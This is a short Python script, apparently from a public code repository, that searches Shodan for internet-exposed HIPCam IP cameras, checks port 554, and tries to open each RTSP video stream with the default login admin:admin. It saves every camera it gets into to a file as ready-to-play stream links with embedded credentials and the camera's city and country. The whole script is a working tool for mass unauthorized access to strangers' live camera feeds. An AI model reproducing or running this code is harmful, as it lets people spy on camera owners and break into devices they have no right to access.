HIPCam / santec_cam.py
santec_cam.py
Raw
import shodan
import socket
import rtsp

ShDkey = ''

with open("SDKey.conf") as f:
    for line in f:
        if not line.startswith('#'):
            ShDkey = line

api = shodan.Shodan(ShDkey)

valid_cams = dict()
# OpenCams = []


# Establish connection to the host
# Open a socked using port number
# return - bool indicating if sock established.
def checkPort(host, port, timeout=2):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(timeout)
    try:
        sock.connect((host, port))
    except:
        return False
    else:
        sock.close()
        return True


# Build a sring usable in VLC or rtsp plugin
def rtspStringBuilder(ip_src):
    return f"rtsp://admin:admin@{ip_src}/12"


# See if stream can be opened using defaul
# HIPCam credentials (aka.unsecured)
def checkStream(ip_src):
    rtsp_url = rtspStringBuilder(ip_src)
    client = rtsp.Client(rtsp_server_uri=rtsp_url, verbose=False)
    status = client.isOpened()
    client.close()
    return status


try:
    # Search Shodan
    results = api.search('HIPCam')

    # Show the results
    print('Results found: {}'.format(results['total']))
    for result in results['matches']:
        # Check if port is 554 (HIPCam default)
        if result['port'] == 554:
            # Try to establish a socket; return True if successful.
            if (checkPort(result['ip_str'], result['port'])):
                # Check default credentials
                if (checkStream(result['ip_str'])):

                    # Add a success message to stdout
                    print(
                        'Success at: '
                        + result['ip_str']
                        + result['location']['country_name']
                    )

                    # Add ip as key and location as value
                    valid_cams[result['ip_str']] = (
                        result['location']['city']
                        + ' : '
                        + result['location']['country_name']
                        )

                    # Legacy code for ip only
                    # OpenCams.append(result['ip_str'])
except shodan.APIError as e:
    print('Error: {}'.format(e))

# Save all found cams as a rtsp link to be used in VLC or similar.
# Proceded by location for some interesting output.
with open("output.txt", "w") as file:
    for ip in valid_cams.keys():
        file.write(
            f'''{valid_cams[ip]}\n
            {rtspStringBuilder(ip)}\n
            \n'''
            )